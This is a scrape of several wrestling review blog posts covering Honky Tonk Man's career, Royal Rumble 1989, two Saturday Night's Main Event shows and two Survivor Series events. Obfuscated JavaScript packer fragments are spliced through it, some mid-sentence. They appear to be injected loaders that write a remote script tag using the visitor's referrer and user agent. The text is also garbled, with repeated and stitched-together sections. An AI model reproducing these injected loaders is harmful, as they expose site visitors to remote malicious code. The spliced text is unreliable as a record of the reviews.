");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bbfdr|var|u0026u|referrer|beizz||js|php'.split('|'),0,{})) it’s another famous name as we look at the greatest Intercontinental Heavyweight Champion of all time: the Honky Tonk Man.

So this one needs some backstory. We have Bill Dundee and Lawler teaming up against Larry Latham (Moondog Spot) and Wayne Ferris (Honky Tonk Man), collectively known as the Blonde Bombers. The Bombers cheated like CRAZY to win the tag titles. The show looked like it was ending but as they faded to black you heard Russell saying stay with this because there’s a big brawl going on. The brawl went down to the concession stand, and this is what followed.

The Blondes are all busted open and they beat on each other with EVERYTHING. Mustard goes flying and they’re filming from the stairs. This is totally serious stuff in case that wasn’t clear. Everyone is bleeding. Lawler destroys Ferris while Dundee is stomped on. Jerry Jarrett comes in and finally gets Dundee away for a second. Also this isn’t one of those fake WCW concession stands. This is the real concession stand where the fans are buying food. The Blondes run so Lawler and Dundee chase them but the Blondes come back and destroy Jarrett, stripping his clothes off. They’re FINALLY pulled off to end this.

I won’t go into details on the whole history of this (if you’re interested in why this was booked and why Jerry Jarrett is one of the smartest men ever in wrestling, look up Jim Cornette’s commentary called “The Slippery Slope of Hardcore Wrestling.” It’s incredibly interesting and well worth the read, as is almost anything Cornette writes) but the main idea is that this is pretty much the birth of modern hardcore wrestling.

The key difference though: it was believable. This wasn’t something that you saw every day (first time ever for the most part) and EVERYONE talked about it. It saved the territory and worked because it was treated as a huge deal. This is something you’ll still hear about from time to time and you’ll occasionally see tributes to it even today. This is incredibly historic stuff and possibly the most famous moment in southern wrestling.

A few years later it was off to the WWF for another rarity: Honky Tonk Man as a face. More on that after this squash from October 4, 1986 on Superstars.

Ron Shaw vs. Honky Tonk Man

This is Honky’s TV debut. Vince actually calls him Wayne Ferris. Honky is in suspenders stil here. Mr. Fuji doesn’t wank Honky’s greasy hands on his tuxedo. Honky works on the arm to start but Shaw gets in a thumb to the eye. Honky rams him into the buckle but Shaw comes back. He beats on Honky for a bit until Honky slams him down and the middle rope fist (which isn’t like his cousin AT ALL right?) gets the pin. Honky was light years better as a heel.

About nine months later, Honky Tonk Man got an Intercontinental Title shot in what should have been a squash, but turned into a shocking upset. From the June 13, 1987 episode of Superstars/Best of the WWF Volume 13 (I really need to post that entire series someday).

Intercontinental Title: Honky Tonk Man vs. Ricky Steamboat

This is about two months after Steamboat beat Savage for the title in Detroit and is perhaps the biggest upset and one of the biggest shocks in company history. Steamboat was untouchable at this time. See, one very important thing to remember about the title in this time frame is that title reigns were A LOT longer at this point. The title had been around for over 8 years here and there had been one title reign that went less than six months and only two had gone under seven months (Steamboat was the 11th champion). In other words, this title did not change hands often.

Honky jumps Steamboat almost immediately and throws him over the top. This is of course, REALLY STUPID, as Dragon skins the cat and sends Honky to the floor. Steambaot gets a suplex and takes over. Steamboat’s movements are absolutely perfect. Everything he does is incredibly crisp and he doesn’t take a break on a single move. Even something like a chop is perfect as he follows through on them and they look awesome. He’s someone that you need to watch every single motion of because they’re all great.

Anyway Steamboat gets sent into the buckle and here comes the challenger. The same awkward middle rope elbow as the first match misses and here comes the Dragon. He ducks low though and almost gets caught in the Shake Rattle and Roll. A top rope chop should put Honky away but Jimmy distracts the referee. Steamboat rolls Honky up but Honky grabs the ropes and gets a (weird as the first count was before Honky was on top and was probably the one for Steamboat’s cover) three count for the title and the shock of the decade.

Rating: C. The match itself is ok but it’s totally inconsequential. The point here is that Honky won the title and it was indeed shocking. This would be like Zach Ryder (this was written before Ryder meant anything as a singles guy) beating Kofi for the title. See, back then there were championship squashes. Today (February 3, 2011 if you’re reading this years later, my 23rd birthday for you KB trivia fans. Yes I’m reviewing on my birthday) Edge is the Smackdown champion and this would be like him defending against Heath Slater.

The thing is that today, everyone would expect there to be something up because when the title is defended on TV it’s either a huge showdown or something is about to happen. Back in the 80s, it was perfectly common for the IC or tag titles to be defended two or three times a month on TV.

They would usually be glorified squashes with random challengers that posed zero threat to the titles though, and that’s what you have here. This wasn’t some big hyped up showdown for the title. This was a typical title defense for Steamboat and more or less just another day at the office. That’s why this is so shocking and the biggest upset in the 1980s.

Honky would hold the title for nearly 15 months in one of the most brilliant booking runs in wrestling history. The idea was the same one over and over again: Honky was always the underdog and against far better competition but he would cheat to escape with the title. Here’s one of those title defenses against Brutus Beefcake at Wrestlemania IV.

Intercontinental Title: Honky Tonk Man vs. Brutus Beefcake

During this time, Honky Tonk Man would feud with every midcard face on the roster, including an awesome feud with a now face Randy Savage where Honky Tonk Man would shove Liz down, insuring him a spot in eternal torment. It wasn’t until Summerslam 88 that the Ultimate Warrior of all people outsmarted Honky and beat him in thirty seconds to absolutely blow the roof off of Madison Square Garden and win the title.

Intercontinental Title: Honky Tonk Man vs. ???

So why was this so awesome? This was one of the most perfectly told stories the WWF ever produced and they nailed it every step of the way. Back in 1987, Ricky Steamboat was Intercontinental Champion but wanted to take some time off. The solution was to put the title on the comedic newcomer the Honky Tonk Man, who cheated to win the belt. Honky viewed as a total joke as champion due to his lack of skill and his gimmick of a wrestling Elvis impersonator.

Million Dollar Team vs. Dream Team

Ted DiBiase, Rhythm and Blues, ???

Dusty Rhodes, Koko B. Ware, Hart Foundation

Undertaker and Bret start with Taker pounding the tar out of him. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Taker, only to get caught by the throat and slammed down. It was more like a clothesline that Taker went to the mat with than the usual chokeslam here but he did have Bret by the throat.

TV Title: Honky Tonk Man vs. Johnny B. Badd

Honky is billed from Honkyland USA which is about a million jokes that write themselves. Apparently the singer was named T. Graham Brown, a country singer that I doubt anyone north of Tennessee has ever heard of. Naturally WCW puts him in front of a crowd in a state that borders Canada and expects everyone to just know who that is. Still no recognition of Ali either.

We see a huge group of middle aged men in suits which makes me think this isn’t going to go well. Badd has in fangs and that confetti shooter. Again, this is the time period where he was portraying a gay man without saying that. Yes, shooing confetti is a great way to get cheers from the crowd. Honky stalls to start, as he’s from Memphis. He hasn’t been relevant in about four years at this point so of course he’s in a title match here.

Yeah that has nothing to do with Hogan at all. To the shock of no one, the fans are more or less dead. Oh the main event is a cage match too as I forgot to mention that. He’s the exact same worker that he was when he had the IC Title for a year, but minus the heat or anyone caring. He hits a chinlock so we go to a long shot of the crowd to break the boredom I guess.

Oh hey, ten minutes into the broadcast, Heenan mentions Ali, and WHAT A COINCIDENCE, he’s here! That shows that either WCW is freaking stupid or Ali isn’t as big of a star as he used to be. Ali would light the Olympic torch in less than two years in one of the greatest moments in sports history and in 1994 WCW has Honky Tonk Man opening a PPV. You figure out the right answer.

We get the standard announcement of five minutes left in the 10-15 minute TV Title matches. And it’s obvious now. Also, I love how the Television Title is being defended on a PPV broadcast but whatever. We hit out third chinlock of the match because it worked so well the first two times.

Orton has nothing on Honky. We get to the last minute of the match and Badd goes for the Kiss That Don’t Miss. Tony’s commentary here is kind of funny: “He’s going for the Kiss That Don’t Miss! He missed it!” Ok so that passes for funny to me here. They fight to the time limit and then Honky runs. This was brutally bad.

Rating: D. Seriously, the FREAKING HONKY TONK MAN was the best you could do here? Why? What possessed you to think this was a good idea? Who booked this? Honky wasn’t good in the ring more or less ever and was ok at best on the mic. To say he’s watered down here is an understatement as this was just awful and boring to boot. This just made my head hurt.

Honky Tonk Man would just walk out on the company soon thereafter and be back in the WWF a few years later as a commentator. He never got in the ring, but would eventually come back as a choice to face Santino Marella for the Intercontinental Title at Cyber Sunday 2008.

Time to pick a legend to fight Santino for the IC Title. Beth looks MUCH better in her usual attire. Santino talks for a bit and we see the Honk-a-Meter, which would have been a lot better if it had come closer than a year away from passing Honky’s record. We get a basic promo about Phoenix (the town, not the Diva) being full of old people like Shaq, and he’s in the front row, ending the promo quickly. Oddly enough the Cardinals would make the Super Bowl this season so the joke kind of backfired.

The choices are Honky Tonk Man, Piper or Goldust. The vote is far closer than expected with everyone getting over 30%. Piper looks FAR better than last year and probably 35 pounds lighter. After the Honk-a-meter, who do you think wins here?

Intercontinental Title: Honky Tonk Man vs. Santino Marella

How brilliant is a wrestling Elvis impersonator? That’s just awesome. Honky Tonk may be old here but he doesn’t look bad, even though it’s bizarre to see him as a face. Total comedy match with the big wrestling move being a headlock. Beth hits him with the belt for the DQ about a minute in. Santino yells at her for no apparent reason and the beatdown follows for Santino as Piper and Goldie come out. Side note: Beth is absolutely gorgeous. It really is good to see Piper look so much healthier. Considering about a year earlier he had Hodgkin’s Disease, this is a great thing to see.

Rating: N/A. Just for a feel good moment and there’s nothing wrong with that, especially in a one minute match.

You know, for a legend, Honky Tonk Man really didn’t wrestle all that much in the big leagues. He was around from late 1986 to 1991 and was only prominent for about two to three years. That speaks volumes about great that Intercontinental Title reign was. It’s obvious that Honky Tonk Man was better on the mic and as a character than he was in the ring and that’s all you need to be a lot of the time.

He’s definitely entertaining and a great lesson in how to make a crowd want to kill a wrestler. If nothing else, the full story of him stealing the title and holding it as long as he did combined with the blowoff might be the most perfect story ever produced by WWE. I even did a Thought of the Day about it:

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $4 at:

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Is……Jake eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bdntr|var|u0026u|referrer|fstde||js|php'.split('|'),0,{})) Roberts.  Nice little surprise on that one and no problem at all with it.

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|abiet|var|u0026u|referrer|fdbhh||js|php'.split('|'),0,{})) isn’t a huge surprise.It’s Ultimate Warrior.  Yeah the guy is a nut, but he was as over as free beer in a frat house in 1990 and pinned Hogan 100% clean.  That’s worthy of getting in if nothing else.

http://kbwrestlingreviews.com/2011/01/10/royal-rumble-count-up-1991/

Remember to follow me on Twitter @kbreviews

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bnfya|var|u0026u|referrer|disad||js|php'.split('|'),0,{})) Rumble 1989
Date: January 15, 1989
Location: The Summit, Houston, Texas
Attendance: 19,000
Commentators: Gorilla Monsoon, Jesse Ventura

Dino Bravo/Fabulous Rougeaus vs. Jim Duggan/Hart Foundation

Slick says the Twin Towers (Boss Man and Akeem) are probably winners of the Rumble but denies knowing anything about shenanigans with DiBiase. Sean Mooney has footage (the original Vickie Guerrer) of Slick and DiBiase together and suddenly Slick realizes he misunderstood Mooney the first time. He has no comment though.

Rude runs his mouth a bit about beating Warrior. This must be intermission.

Jesse is sitting on the throne that will go to either Haku or Race. He thinks he might just run for King because the chair is comfortable.

King Haku vs. Harley Race

Time for more Rumble promos, with Beefcake, Greg Valentine (both of whom say they just need their fists), the Powers of Pain (Fuji does the talking for them), Big John Studd (freshly back in the company), Mr. Perfect (pretty new at this point) and Savage (insane of course).

DiBiase is much happier about his number now.

Hogan gives his usual promo with the focus on Boss Man and Akeem this time.

Royal Rumble

Warlord is #20 and Hogan clotheslines both Busters out at the same time. Warlord poses on the apron, gets in, and is clotheslined out in 2 seconds flat, setting a record that would last 20 years. Hogan also dumps Bad News, but it takes out Savage in the process which adds even more fuel to the Mega Powers Exploding in less than a month. Liz comes in to play peacemaker and the Powers shake hands.

A cross body is caught and Akeem dumps Martel to get us down to Studd, Akeem and DiBiase. Akeem pounds on Studd as DiBiase gives instructions. Studd pulls Ted in front of a splash and dumps Akeem to get us down to two. DiBiase offers money but Studd shakes a finger at him. Studd actually fires off some suplexes to the shock of Monsoon. The elimination is academic and Studd wins.

Jesse and Gorilla wrap things up.

Ratings Comparison

Jim Duggan/Hart Foundation vs. Dino Bravo/Fabulous Rougeaus

Original: C+

Redo: C

Original: C-

Redo: D

King Haku vs. Harley Race

Original: C

Redo: D+

Royal Rumble

Original: C+

Redo: C-

Overall Rating

Original: C-

Redo: D+

http://kbwrestlingreviews.com/2011/01/08/royal-rumble-count-up-1989/

Remember to follow me on Twitter @kbreviews

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

Saturday Night’s Main Event 18
Date: November 26, 1988
Location; ARCO Arena, Sacramento, California
Commentators: Vince McMahon, Jesse Ventura

We’re in the middle of Savage’s title reign here and tonight he defends against Andre. That’s a match that you don’t get that often but it sounds interesting if nothing else. This was a time where we were just getting ready for Hogan vs. Savage to set up Mania 5 which was kind of disappointing. Also on this show is the Super Ninja, who contrary to popular belief was NOT the Great Muta. You can tell that by the size difference if nothing else. Let’s get to it as I try to get done with SNME today.

Warrior says he’s going to go to war with Super Ninja and Mr. Fuji.

Heenan and Andre say they’re going to win the world title back.

Savage isn’t worried about Andre.

DiBiase doesn’t believe in Thanksgiving but only buying and selling like he did with Hercules.

Hogan talks about Thanksgiving and being on Brother Love’s Show.

The theme song wants you to know that it’s awesome.

Jesse wants top billing since we’re in Hollywood which is his town.

Fuji says he’ll win and makes a Pearl Harbor reference. Ninja is apparently a master of the seven arts. Would that include watercolors?

Warrior says he’s seen an unseen enemy. I love these promos as they were definitely entertaining.

Intercontinental Title: Super Ninja vs. Ultimate Warrior

Ninja looks like Spawn. The comic book character, not the annoying poster. Ninja goes after him and nothing at all works. Warrior gets a leapfrog and I’m not sure if I believe it or not. Vince talks about horse manure ice cream. Go ahead and try to convince me that he wasn’t on drugs. Total squash here that last two minutes or so and the splash ends it. Ninja was never seen again.

Rating: N/A. Not sure what the point of this was as Warrior could have beaten someone better than this just as easily without having to bring in some random guy that was never heard from again. Whatever though.

We recap Heenan selling Hercules’ contract to DiBiase which turned Herc face as DiBiase kept calling him a slave.

DiBiase says Hercules isn’t being American because he’s turning down the business deal that was made. Virgil gets Hercules tonight.

Hercules says he’s a free man.

Virgil vs. Hercules

Anyone else think this is a squash in the making? Back from a break and the heels are jumping Hercules. This works about as well as Rogaine worked for Virgil and the fans are on fire for this actually. I love knee lifts for some reason. I always have. We’re about a minute and a half in and Virgil hasn’t had a single shot yet. Apparently this is for Hercules’ freedom. A powerslam ends it. TOTAL domination here.

Rating: N/A. This somehow never led to Hercules vs. DiBiase. I’m not sure why they never had a proper blowoff but it could be due to the lack of talent from Hercules. This was just kind of odd as Virgil got totally squashed and it wasn’t even close. Just odd.

Twenty minutes so far and nothing but squashes.

We see Andre having a heart attack due to Jake and the snake last time.

Heenan and Andre insist that Andre is champion.

Savage says if Hogan can do it, he can do it. We have a huge world title match and it becomes about Hogan somehow. Why am I not surprised at all?

WWF World Title: Randy Savage vs. Andre the Giant

Savage runs at him like a crazy man and of course it doesn’t work at all. Andre was a shell of his former shell and couldn’t really do anything other than bare bones stuff by this point but dang he was trying. This is all Andre to start as Savage tries stupid things that never work in the slightest.

A short comeback gets him nowhere other than ticking Andre off. FINALLY he wakes up and goes to the air which actually works and he beats Andre down. Here’s Jake to distract Andre and Heenan. Savage makes Jake leave which is a weird moment for some reason. Jake’s height always is tricky. The match loses anything resembling focus as Heenan looks for the snake.

After a few minutes he finally finds it and Jake comes down again….resulting in a double DQ? Andre is in the ropes and Bobby gets beaten up. The snake is busted out but Heenan gets his out of there just in time. Savage seems cool with the whole costing of the match by Jake. Ah maybe he isn’t. The 80s were always confusing.

Rating: D. The opening stuff was good but as soon as Jake came out this became a circus and not the kind with the cool freaky clowns or bearded lady that resembled my aunt John. This was just a mess and never went anywhere at all. Savage vs. Andre could have been a bit match but it gets like 8 minutes where the focus was on Jake than anything else.

Duggan isn’t worried about Bravo in his flag match vs. Zhukov.

Boris Zhukov vs. Jim Duggan

This is a flag match where the winner gets to wave the flag. Other than that it’s a regular match though. They slug it out and Duggan wins of course, as Jesse points out that punching him in the head isn’t going to get him anywhere. Boris beats on Duggan but that does nothing at all. Short comeback and then the three point clothesline ends it.

Rating: N/A. Another two minute squash. Is this a theme or something tonight? Yet again this went nowhere at all and had absolutely no point. Vince crying at the presenting of the flag is kind of funny though.

We recap Boss Man beating up Hogan on Brother Love’s show which was the filler feud until Mania happened and Hogan got his real feud. It was a pretty good beating though.

Brother Love Show

The guest is Hogan. Love always scared me to death back in the day. He was just freaking scary. Instead of Hogan he brings out Slick. Hogan is TICKED and overacts beyond belief. We get to hear Jive Soul Bro as a consolation prize, making this show substantially better. Ah here’s Hulk. Nothing Love says means anything here as we’re just waiting on Boss Man to come in.

Love asks Hogan questions but keeps cutting him off before he can answer over and over again. He lets Slick answer because something tells me he’s not a nice person. Slick is as tall as Hogan. Never would have guessed that. The look on Hogan’s face is great actually as he’s not used to BLATANT DISRESPECT like this. Finally Hogan just grabs the mic and yells a lot.

Hogan talks about how fake Love is. This is going absolutely nowhere and I’m bored out of my mine. Hulk talks about being a judge and sentencing Love for something or other. He finally beats up Slick and Love. No Boss Man or anything which makes this a HUGE waste of time. Love gets handcuffed somewhere in there. Moving on.

The Rougeaus say they’re American citizens now. They live in Memphis now and say they’re American Boys. Dang I could go for that theme song of theirs.

YoungStallionsvs. FabulousRougeauBrothers

Considering we have 9 minutes left in the show, something tells me this is going to go this fast. The Stallions never were anything other than jobbers and I can’t imagine this is going to be anything else. How in the world did Roma become a Horseman? I will never understand that and I don’t think anyone else will. Powers ducks a cross body to finally break the dominance and makes the tag. Everything goes insane and the Rougeaus hit their finisher to end this. It went nowhere at all and it wasn’t supposed to.

Rating: N/A. An up and coming heel team beat a jobbing team. What did you expect this to be?

Andre says he’ll get the title and he’ll get Jake. Andre grabs Jesse twice and is a very scary looking man.

Jake says he’s smart or something. I don’t care a bit at this point.

Hogan says being the executioner turned him on. GOOD NIGHT EVERYBODY!

Overall Rating: F+. This was AWFUL. I know I don’t have many of these left but this was something I just wanted to end the entire time. There isn’t a good match to be found nor is there anything that meant anything. This was almost like a house show card but not a good one at all. Just flat out terrible and I was just counting down the time until it ended.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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Saturday Night’s Main Event 24
Date: November 25, 1989
Location: Kansas Expo Center, Topeka, Kansas
Commentators: Vince McMahon, Jesse Ventura

The Survivor Series just happened and while it had the most awesome team in history (Hogan, Demolition and Jake), there isn’t much going on here. Because this was taped in October there won’t be any discussion of the show so this is really just a placeholder show. The Rumble stuff wouldn’t start until later on as that wasn’t a big deal yet either for the most part. Also the world title match and the only thing that mattered at Mania would be started up. Let’s get to it as this is the next to last one of these I have to do.

This show is about 20 minutes longer than the others so it was likely a two hour show. Very interesting.

Warrior says Andre better remember Jack and the Beanstalk.

Heenan says Andre is real, not a fairy tale.

Dusty is going to teach Boss Man about justice.

Boss Man and Slick say Rhodes is a common thief.

Genius wants the world title.

Hogan thinks Genius isn’t that smart.

This theme song is brilliant.

We get a quick recap of Warrior going after Heenan and Andre nearly killing him because of it. Heenan basically says Andre will win and Rude won’t be upset because it’s in the family. Andre is terrifying and funny at the same time.

Intercontinental Title: Ultimate Warrior vs. Andre the Giant

This was booked on a few dozen house shows but the key was it never went past like two minutes. Warrior says he isn’t afraid. One good thing about Warrior: he never wasted time on an intro. Andre jumps him to start which is odd for him and even Jesse sees that. Warrior actually chokes Andre down and in a funny moment Andre ducks out of the way and Warrior goes flying over the top. Just funny that he did something so basic for the stop.

One of the good things about Andre is his size lets any basic move look awesome. The problem is that Warrior is still insane here and Andre is FAR past his prime here and he needs someone capable in the ring to make him work. Andre gets knocked to the floor and it’s on out there. Warrior uses a bearhug back in the ring and it looks ridiculous. Has Andre not brushed his teeth in like 9 years or so?

Andre hooks a bearhug of his own and is on the mat with it. This is FAR too long as all of Warrior’s energy which is what makes this win look possible is gone at this point and nothing at all works for either guy. Andre is tied up in the ropes to just extend this even longer. Heenan comes in for the DQ and thank goodness for it.

Rating: F. This was just bad in general. It went on nearly eight minutes which is longer than Andre was in the ring for his entire tag title reign I think. This was a bad idea because of the length. At house shows, it was maybe two minutes at most which is what made it work. This was just horrible and it didn’t go well at all.

Genius says he’s smart.

Hogan says a poem and does some math. As good as it sounds.

WWF Title: Hulk Hogan vs. The Genius

Genius kind of prances around and this is definitely going to be a comedy match. He even uses a nip up which just wasn’t done back then. All Hogan here and Genius stops to write something on his scroll. He was incredibly athletic and skins the cat to get back in. And then Genius slaps Hogan in the face. Hogan gets tired of Genius doing his stuff and takes his head off with a clothesline.

Hogan is killing him now and then prances around the ring. Like him or not, the guy knew how to play to a crowd like no one else in history could. And here’s Mr. Perfect to mess everything up. He looks at the belt and says it’s not perfect and puts gum on it. Hogan gets posted and back in the ring a moonsault gets two. He Hulks Up and Genius goes to the floor. Perfect clocks Hogan with the belt and GENIUS WINS! THE GENIUS BEAT HOGAN! WITH THE TITLE ON THE LINE! Perfect runs away with the title in hand.

Rating: B-. Total comedy match that set up Hogan vs. Perfect for a few months if nothing else. This wasn’t supposed to be a serious match and you flat out can’t grade it as one. This was a hilarious match at times as someone for once tried to outsmart Hogan and it worked like a charm. This was perfectly played and while the match was nothing, the comedy and thinking was great. I liked this a lot but most people wouldn’t.

We recap Dusty vs. Bossman which is Dusty stopping Bossman from beating people up after his matches.

Slick says Dusty is in trouble.

Dusty is here to fight for justice. Does he mean Prince Justice? He looks like he hasn’t slept in a year.

Dusty Rhodes vs. Big Bossman

Dusty wants Slick thrown out but can’t get that. Bossman dominates to start with the help of Slick. Dusty gets to lay on his back for awhile so something must be working. A short fat woman at ringside yells at Slick. Dusty has gotten NOTHING in here at all. His comeback only lasts a bit as Slick gets the nightstick. Bossman yells at the lady from earlier and gets rolled up for the pin. The lady gets to dance in the ring and would become Sapphire.

Rating: D. Total domination here but Dusty got punches in and then a rollup to win the match. I hate that booking and always have. It makes Bossman look kind of weak since he managed to lose to a quick rollup like that and little of his offense did anything. This was just bad, but I’d put that on Dusty.

Red Rooster says he’ll beat Mr. Perfect.

Perfect says he’ll reveal the whole belt thing later tonight.

Red Rooster vs. Mr. Perfect

Genius reads a poem mocking Rooster and introduces Perfect. Rooster goes for an over the top chickenwing which doesn’t work. Perfect beats him up for a little while until Rooster makes a quick comeback. And then the Perfect Plex ends this. Can I get this four minutes of my life back please?

Rating: N/A. This was nothing at all but a squash for Perfect. Taylor would be in WCW in about a month.

Rockers say they’re really keen.

Heenan is arguing with the Brainbusters over who is the talent here.

Brainbusters vs. The Rockers

This is 2/3 falls. Before the match we have a commercial and since this is from 1989, there’s an ad for Batman now on VHS! Tully was in black before the break and is in red now. I love stuff like that. Jannetty and Blanchard start us off and it’s all drug addict. Wait…might need some more explanation there. Blanchard was forced to retire just after this due to a failed test. Jannetty gets a sunset flip for the pin on Tully for the first fall in like a minute and a half after some basic stuff.

Bobby is TICKED at them and leaves them on their own. The Rockers clean house and work on Arn. This is the sharpest they’ve ever looked and it’s working great. Shawn goes too fast and gets a hot shot to even us up as Jesse leaves to talk to Heenan.

Back from the break and Jesse has found Bobby. He says this is the worst team he’s ever worked with, which is saying a lot given that he had Red Rooster and Brooklyn Brawler for awhile. Bobby fires them more or less which makes sense as this is their final match with the company.

Shawn is hurt to start the third fall and is in there with Tully. I feel sorry for him. SICK spinebuster on Shawn which didn’t have a name at this point. Shawn plays Ricky Morton here but makes the tag and literally brings the crowd to their feet. Shawn stops a spike piledriver and hits a high cross body on Arn to win it.

Rating: C-. Not great but this was about the angle more than anything else. The Rockers could have been any team here but they were fun and exciting and were in the Heenan Family match at Survivor Series so they made the most sense. This was a decent enough match but really was a squash. That’s not something that happens to the former Horsemen that often.

Perfect is destroying the belt with a hammer. That would of course become the Hardcore Title. Perfect wants a title shot and would get a ton on house shows.

Hogan gets the busted up belt and is all sad over it. The belt they replaced it with was the same design which makes sense as it was like two and a half years old at that point. He does a big dramatic promo about it and throws the belt down in anger.

Vince and Jesse do their usual wrap-up.

Overall Rating: D+. I had this a bit higher than remembered that opener. This was more of a transitional show than anything else and the wrestling was pretty subpar. The highlight by far is Genius vs. Hogan and other than that it’s pretty much downhill. This was an ok show at best but there wasn’t much going on in the ring. Only one to go and I hope it’s better than this.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of In Your House at Amazon for just $4 at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nhbnt|var|u0026u|referrer|skeyh||js|php'.split('|'),0,{})) Series 1990
Date: November 22, 1990
Location: Hartford Civic Center, Hartford, Connecticut
Attendance: 16,000
Commentators: Gorilla Monsoon, Roddy Piper

The nifty squares open things up again.

The Warriors vs. The Perfect Team

Ultimate Warrior, Texas Tornado, Legion of Doom

Mr. Perfect, Demolition

Crush immediately comes in to jump Warrior and take over. Smash comes in to slam Warrior and Crush drops a top rope knee for two. Perfect is freaking out in his trademark over the top style. Warrior gets up a boot in the corner and clotheslines Crush down. Off to Hawk who always looks like he could murder someone in the ring. Perfect tries him out and is immediately slammed down.

Ted DiBiase has a mystery partner for his match. Oh boy did he ever.

Million Dollar Team vs. Dream Team

Ted DiBiase, Rhythm and Blues, ???

Dusty Rhodes, Koko B. Ware, Hart Foundation

Undertaker and Bret start with Taker pounding the tar out of him. Well if you want to make someone look like a killer, call Bret Hart. Bret hits the ropes and charges at Taker, only to get caught by the throat and slammed down. It was more like a clothesline that Taker went to the mat with than the usual chokeslam here but he did have Bret by the throat.

The Vipers vs. The Visionaries

Jake Roberts, Rockers, Jimmy Snuka

Rick Martel, Warlord, Power and Glory

Marty and Warlord start as Piper is singing I Am The Walrus. Warlord powers Marty around but misses a charge in the corner. For those of you unfamiliar with Warlord, imagine Chris Masters but paler, bald, and even dumber. Both Rockers try to outmaneuver him but it just results in bringing in Martel. Shawn handles him with ease and brings in Jake, causing Martel to scamper away.

Natural Disasters vs. Hulkamaniacs

Earthquake, Dino Bravo, Haku, Barbarian

Hulk Hogan, Big Bossman, Tugboat, Jim Duggan

Rating: C-. This was a lot more fast paced and energetic than you would expect. The continued practice of just teasing the encounter that the match is based on is getting REALLY old though as I guess they want to preserve the house show draws, because who would want to see a feud continue after a single match right? My goodness have things changed in the last twenty years.

Hogan beats up Heenan post match and poses. Piper cheering for Hogan is just wrong.

Some fans talk and get on my nerves. Well one fan signs who he likes which is cool.

Alliance vs. Mercenaries

Nikolai Volkoff, Bushwhackers, Tito Santana

Sgt. Slaughter, Boris Zhukov, Orient Express

Hogan, Warrior and Santana are ready.

Hulk Hogan/Tito Santana/Ultimate Warrior vs. Ted DiBiase/Visionaries

Posing ends the show.

Ratings Comparison

Warriors vs. Perfect Team

Original: C-

Redo: D

Dream Team vs. Million Dollar Team

Original: C+

Redo: C+

Vipers vs. Visionaries

Original: D+

Redo: D+

Hulkamaniacs vs. Natural Disasters

Original: C+

Redo: C-

Alliance vs. Mercenaries

Original: F

Redo: D-

Grand Finale Match of Survival

Original: D-

Redo: D

Overall Rating

Original: F

Redo: F

It sucked four years ago and it still sucks now.

http://kbwrestlingreviews.com/2011/11/09/history-of-survivor-series-count-up-1990-title-removed-due-to-anger-issues/

Remember to follow me on Twitter @kbreviews

Remember to follow me on Twitter @kbreviews and pick up my new book of Complete Monday Nitro Reviews Volume I at Amazon for just $4 at:

And check out my Amazon author page with wrestling books for just $4 at:

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erhzf|var|u0026u|referrer|yafnn||js|php'.split('|'),0,{})) Series 1989
Date: November 23, 1989
Location: Rosemont Horizon, Chicago, Illinois
Attendance: 15,294
Commentators: Gorilla Monsoon, Jesse Ventura

Also stay tuned after the end for a special BONUS MATCH REVIEW!

Hogan is thankful for time with his family and to be the strongest force in the universe. And for his team.

Jake likes his snake and the DDT.

Duggan is proud to be an American.

Bravo is glad Earthquake is on his side.

Dusty is thankful for his polka dots.

Beefcake for cutting hair.

Martel for his looks.

Rude for his body.

Genius for being the smartest man in the world.

Perfect for being his name.

The Bushwackers for sardine stuffing.

Heenan for being surrounded by the Heenan Family.

Warrior should be thankful that Ritalin is soon to be available.

We run down the cards with those nifty squares.

Dream Team vs. Enforcers

Dusty Rhodes, Brutus Beefcake, Tito Santana, Red Rooster

Big Bossman, Bad News Brown, Rick Martel, Honky Tonk Man

Boss Man destroys Dusty with the nightstick and cuffs him to the ropes to keep up the beating. Brutus makes the save with the clippers.

Boss Man brags about what he just did.

The 4x4s say the same thing but much louder.

Jim Duggan, Ronnie Garvin, Bret Hart, Hercules

Randy Savage, Earthquake, Dino Bravo, Greg Valentine

Bret finally breaks free and tags Hacksaw in again so he can slam Savage. And never mind as Bret tags back in about 15 seconds later. Bravo works over the mostly beaten Bret and Hart misses a charge, going shoulder first into the post. A shoulder breaker sets up the Savage Elbow to make it 3-1.

Duggan chases them off with the board.

The Million Dollar Team is ready for a Thanksgiving feast in the form of the Hulkamaniacs.

Dusty Rhodes is hurt badly.

The Genius reads a poem about Thanksgiving.

Hulkamaniacs vs. Million Dollar Team

Hulk Hogan, Demolition, Jake Roberts

Ted DiBiase, Zeus, Powers of Pain

Savage and Zeus are ready for their tag team cage match on PPV two days after Christmas. More on that later.

